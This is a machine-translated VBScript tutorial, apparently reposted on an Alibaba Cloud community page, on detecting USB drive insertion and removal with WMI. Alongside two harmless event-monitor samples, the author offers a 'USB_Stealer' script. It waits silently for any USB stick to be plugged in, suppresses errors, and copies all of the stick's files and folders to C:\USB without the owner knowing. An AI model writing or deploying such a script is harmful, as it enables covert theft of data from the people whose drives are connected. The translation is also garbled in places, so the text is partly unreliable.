Use VBS to detect USB stick insert and eject event code _vbs

Source: Internet
Author: User
It can be said that the degree of mastery of WMI directly determines the level of your VBS. Have seen the online popular VBS version of the U-disk thief program, basically rely on Infinite loop to achieve, a little technical content also did not, the end of the article gave me the VBS version of the program to download the U. While WMI also has infinite loops, efficiency is not the same.

The Win32_VolumeChangeEvent class with WMI can be implemented, the following is the sample code, and for more information refer to the MSND documentation.

Copy Code code as follows:

Const configuration_changed = 1
Const Device_arrival = 2
Const Device_removal = 3
Const docking = 4
StrComputer = "."
Set objWMIService = GetObject ("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" _
& StrComputer & "\root\cimv2")
Set colmonitoredevents = objWMIService. _
ExecNotificationQuery (_
"SELECT * from Win32_VolumeChangeEvent")
Todo
Set objlatestevent = colmonitoredevents.nextevent
Select Case Objlatestevent.eventtype
Case Device_arrival
WScript.Echo "U disk Insert, the letter is" & _
Objlatestevent.drivename
Case Device_removal
WScript.Echo "U disk eject, the letter is" & _
Objlatestevent.drivename
End Select
Loop

I also wrote a U disk thief program, I think more than online copy to copy the code better, interested can download to see.
Copy Code code as follows:

'==========================================
' Name:usb_stealer
' DATE:2010/5/25
' Author:demon
' Copyright:copyright (c) Demon
' E-mail:still.demon@gmail.com
' qq:380401911
' website:http://demon.tw
'==========================================
' Option Explicit
On Error Resume Next
Const Target_folder = "C:\USB"

Call Main ()

Sub Main ()
On Error Resume Next
Const Device_arrival = 2
Const Device_removal = 3
Const strComputer = "."
Dim objWMIService, Colmonitoredevents, objlatestevent

Set objWMIService = GetObject ("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" _
& StrComputer & "\root\cimv2")
Set colmonitoredevents = objWMIService. _
ExecNotificationQuery (_
"SELECT * from Win32_VolumeChangeEvent")
Todo
Set objlatestevent = colmonitoredevents.nextevent
Select Case Objlatestevent.eventtype
Case Device_arrival
Copy_file Objlatestevent.drivename
End Select
Loop
End Sub

Sub Copy_file (Folder_path)
On Error Resume Next
Dim Fso,file,folder
Set fso = CreateObject ("Scripting.FileSystemObject")

If not FSO. FolderExists (Target_folder) Then
Fso. CreateFolder (Target_folder)
End If

For each file in FSO. GetFolder (Folder_path). Files
File. Copy Target_folder & "\" & file. Name,true
Next

For each folder in the FSO. GetFolder (Folder_path). Subfolders
Folder. Copy Target_folder & "\" & Folder. Name,true
Next
End Sub

Since a lot of people reflect the previous written article in XP invalid, made a change. Said is modified, is actually directly copied paste the scripting expert's code.
Copy Code code as follows:

StrComputer = "."
Set objWMIService = GetObject ("winmgmts:\\" & StrComputer & "\root\cimv2")

Set Colevents = Objwmiservice.execnotificationquery _
("SELECT * from __InstanceOperationEvent Within Where" _
& "TargetInstance Isa ' Win32_LogicalDisk '")

Do While True
Set objevent = colevents.nextevent
If ObjEvent.TargetInstance.DriveType = 2 Then
Select case Objevent.path_. Class
Case "__InstanceCreationEvent"
WScript.Echo "Drive" & ObjEvent.TargetInstance.DeviceId & _
"has been added."
Case "__InstanceDeletionEvent"
WScript.Echo "Drive" & ObjEvent.TargetInstance.DeviceId & _
"has been removed."
End Select
End If
Loop

Reference Links: How Can I determine when a removable Drive Gets Connected?
You should be able to see the good place to learn the VBS, the official web site to learn VBS has to go, the cloud habitat Community many of the VBS related textbooks are from Microsoft's official scripting columns.
Original: http://demon.tw/programming/vbs-usb-insert-remove.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.